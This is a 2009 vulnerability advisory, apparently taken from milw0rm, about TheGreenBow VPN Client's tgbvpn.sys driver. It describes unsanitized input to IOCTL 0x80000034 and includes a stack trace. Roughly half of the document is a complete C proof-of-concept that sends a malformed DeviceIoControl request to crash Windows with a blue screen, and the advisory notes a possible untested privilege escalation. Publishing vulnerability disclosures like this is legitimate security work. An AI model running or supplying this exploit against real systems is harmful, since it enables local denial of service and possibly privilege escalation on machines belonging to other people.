Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Website: http://evilcry.netsons.org
http://evilcodecave.blogspot.com
http://evilcodecave.wordpress.com
http://evilfingers.com
http://malwareAnalytics.com [under construction]
Release Date: 15/08/2009
+-------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003 (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
(untested) Local Privilege Escalation
+-------------------------------------------------+
--------------------------[Details]--------------->
TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.
Affected IOCTL is 0x80000034
Transfer Type: METHOD_BUFFERED
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
00000000 00000000 00000000 00000000 00000000 0x841d36a8
+--------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
*
* Author: Giuseppe 'Evilcry' Bonfa'
* E-Mail: evilcry {AT} gmail. {DOT} com
* Website: http://evilcry.netsons.org
* http://evilcodecave.blogspot.com
* http://evilcodecave.wordpress.com
* http://evilfingers.com
* http://malwareAnalytics.com [under construction]
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
HANDLE hDevice;
DWORD Junk;
system("cls");
printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");
hDevice = CreateFileA("\\\\.\\tgbvpn",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("\n Unable to Device Driver\n");
return EXIT_FAILURE;
}
DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);
return EXIT_SUCCESS;
}
+--------------------------------------------------------------------------------------------+
# milw0rm.com [2009-08-18]
